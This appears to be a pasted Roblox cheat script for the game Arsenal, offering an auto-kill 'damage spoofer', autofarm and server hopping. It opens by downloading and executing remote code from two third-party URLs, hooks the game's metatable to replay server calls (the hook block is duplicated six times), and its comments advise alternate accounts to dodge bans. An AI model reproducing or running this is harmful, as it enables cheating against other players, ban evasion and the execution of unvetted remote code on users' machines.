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Arsenal KIll All December 2020 Roblox | Chester2X

Dec 22nd, 2020 (edited)
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  1. loadstring(game:HttpGet("http://www.narwhalhacks.xyz/UI/NotificationUI.lua", true))()
  2. loadstring(game:HttpGet("https://raw.githubusercontent.com/prestigedwinning/arsenalcool/main/ewf", true))()
  3. --Created by Chester2X this script... credits to Ryley for assisting me with the script.
  4.  
  5. --For the people who don't own the autoexecute feature.
  6.  
  7. --Download a software called TinyTask and record yourself executing the script.
  8. --Afterwards... ensure that your recording was recorded properly your mouse should
  9. --execute the script if the game crashes that can result your pc in having issues.
  10.  
  11. -- /// Settings \\\\ --
  12. _G.autofarm = true -- Turn On/Off Autofarm
  13. _G.hoptime = 45-- Turn On/Off Server Hop 60, is for 1 round. 140 is for 2 rounds. Ensure that your exploit software has an autoexecute feature.
  14. _G.waittime = 0 -- Customize your wait-time for killing the entire server.
  15. -- /// ---- \\\ --
  16. --I am not responsible for any in-game bans usage of the script will result in a ban.
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25. --Note: If you get banned in-game, I am not responsible.
  26.  
  27.  
  28. --If you do so... appeal on the Arsenal Discord Server...
  29. --Autofarming in public servers can result your account in getting banned.
  30. --It's best to use an alternate account for this.
  31.  
  32.  
  33.  
  34.  
  35.  
  36. local heartbeat = game:GetService("RunService").Heartbeat
  37. spawn(function()
  38. while true do heartbeat:Wait()
  39. wait(_G.waittime)
  40. game:GetService'VirtualUser':SetKeyUp("e")
  41. game:GetService'VirtualUser':SetKeyDown("e")
  42.  
  43.  
  44. if _G.autofarm == false then
  45. game:GetService'VirtualUser':SetKeyDown("p") -- Rejoin
  46. game:GetService("RunService").Stepped:wait()
  47. end
  48. end
  49. end)
  50.  
  51.  
  52. --Damage spoofer
  53. local settings = {repeatamount = 4, exceptions = {"SayMessageRequest", "ApplyGun", "ControlTurn", "CoolNewRemote", "UpdatePing", "Ping", "TRC", "JoinTeam", "SpawnMe", "LoadCharacter"}}
  54.  
  55. local mt = getrawmetatable(game)
  56. local old = mt.__namecall
  57. setreadonly(mt, false)
  58.  
  59. mt.__namecall = function(uh, ...)
  60. local args = {...}
  61. local method = getnamecallmethod()
  62. for i,o in next, settings.exceptions do
  63. if uh.Name == o then
  64. return old(uh, ...)
  65. end
  66. end
  67. if method == "FireServer" or method == "InvokeServer" then
  68. for i = 1,settings.repeatamount do
  69. old(uh, ...)
  70. end
  71. end
  72. return old(uh, ...)
  73. end
  74.  
  75. setreadonly(mt, true)
  76. local settings = {repeatamount = 4, exceptions = {"SayMessageRequest", "ApplyGun", "ControlTurn", "CoolNewRemote", "UpdatePing", "Ping", "TRC", "JoinTeam", "SpawnMe", "LoadCharacter"}}
  77.  
  78. local mt = getrawmetatable(game)
  79. local old = mt.__namecall
  80. setreadonly(mt, false)
  81.  
  82. mt.__namecall = function(uh, ...)
  83. local args = {...}
  84. local method = getnamecallmethod()
  85. for i,o in next, settings.exceptions do
  86. if uh.Name == o then
  87. return old(uh, ...)
  88. end
  89. end
  90. if method == "FireServer" or method == "InvokeServer" then
  91. for i = 1,settings.repeatamount do
  92. old(uh, ...)
  93. end
  94. end
  95. return old(uh, ...)
  96. end
  97.  
  98. setreadonly(mt, true)
  99. local settings = {repeatamount = 4, exceptions = {"SayMessageRequest", "ApplyGun", "ControlTurn", "CoolNewRemote", "UpdatePing", "Ping", "TRC", "JoinTeam", "SpawnMe", "LoadCharacter"}}
  100.  
  101. local mt = getrawmetatable(game)
  102. local old = mt.__namecall
  103. setreadonly(mt, false)
  104.  
  105. mt.__namecall = function(uh, ...)
  106. local args = {...}
  107. local method = getnamecallmethod()
  108. for i,o in next, settings.exceptions do
  109. if uh.Name == o then
  110. return old(uh, ...)
  111. end
  112. end
  113. if method == "FireServer" or method == "InvokeServer" then
  114. for i = 1,settings.repeatamount do
  115. old(uh, ...)
  116. end
  117. end
  118. return old(uh, ...)
  119. end
  120.  
  121. setreadonly(mt, true)
  122. local settings = {repeatamount = 4, exceptions = {"SayMessageRequest", "ApplyGun", "ControlTurn", "CoolNewRemote", "UpdatePing", "Ping", "TRC", "JoinTeam", "SpawnMe", "LoadCharacter"}}
  123.  
  124. local mt = getrawmetatable(game)
  125. local old = mt.__namecall
  126. setreadonly(mt, false)
  127.  
  128. mt.__namecall = function(uh, ...)
  129. local args = {...}
  130. local method = getnamecallmethod()
  131. for i,o in next, settings.exceptions do
  132. if uh.Name == o then
  133. return old(uh, ...)
  134. end
  135. end
  136. if method == "FireServer" or method == "InvokeServer" then
  137. for i = 1,settings.repeatamount do
  138. old(uh, ...)
  139. end
  140. end
  141. return old(uh, ...)
  142. end
  143.  
  144. setreadonly(mt, true)
  145. local settings = {repeatamount = 4, exceptions = {"SayMessageRequest", "ApplyGun", "ControlTurn", "CoolNewRemote", "UpdatePing", "Ping", "TRC", "JoinTeam", "SpawnMe", "LoadCharacter"}}
  146.  
  147. local mt = getrawmetatable(game)
  148. local old = mt.__namecall
  149. setreadonly(mt, false)
  150.  
  151. mt.__namecall = function(uh, ...)
  152. local args = {...}
  153. local method = getnamecallmethod()
  154. for i,o in next, settings.exceptions do
  155. if uh.Name == o then
  156. return old(uh, ...)
  157. end
  158. end
  159. if method == "FireServer" or method == "InvokeServer" then
  160. for i = 1,settings.repeatamount do
  161. old(uh, ...)
  162. end
  163. end
  164. return old(uh, ...)
  165. end
  166.  
  167. setreadonly(mt, true)
  168. local settings = {repeatamount = 4, exceptions = {"SayMessageRequest", "ApplyGun", "ControlTurn", "CoolNewRemote", "UpdatePing", "Ping", "TRC", "JoinTeam", "SpawnMe", "LoadCharacter"}}
  169.  
  170. local mt = getrawmetatable(game)
  171. local old = mt.__namecall
  172. setreadonly(mt, false)
  173.  
  174. mt.__namecall = function(uh, ...)
  175. local args = {...}
  176. local method = getnamecallmethod()
  177. for i,o in next, settings.exceptions do
  178. if uh.Name == o then
  179. return old(uh, ...)
  180. end
  181. end
  182. if method == "FireServer" or method == "InvokeServer" then
  183. for i = 1,settings.repeatamount do
  184. old(uh, ...)
  185. end
  186. end
  187. return old(uh, ...)
  188. end
  189.  
  190. setreadonly(mt, true)
  191.  
  192.  
  193.  
  194. local args = {
  195. [1] = "TBC"
  196. }
  197.  
  198. game:GetService("ReplicatedStorage").Events.JoinTeam:FireServer(unpack(args))
  199. game:GetService("ReplicatedStorage").Events.SpawnMe:FireServer()
  200. game:GetService("ReplicatedStorage").Events.LoadCharacter:FireServer()
  201.  
  202.  
  203. Notify("Starting up...", "Created by Chester2X;", 3)
  204.  
  205.  
  206.  
  207. wait(_G.hoptime)
  208. local x = {}
  209. for _, v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100")).data) do
  210. if type(v) == "table" and v.maxPlayers > v.playing and v.id ~= game.JobId then
  211. x[#x + 1] = v.id
  212. end
  213. end
  214. if #x > 0 then
  215. game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, x[math.random(1, #x)])
  216. end
  217.  
  218.  
  219.  
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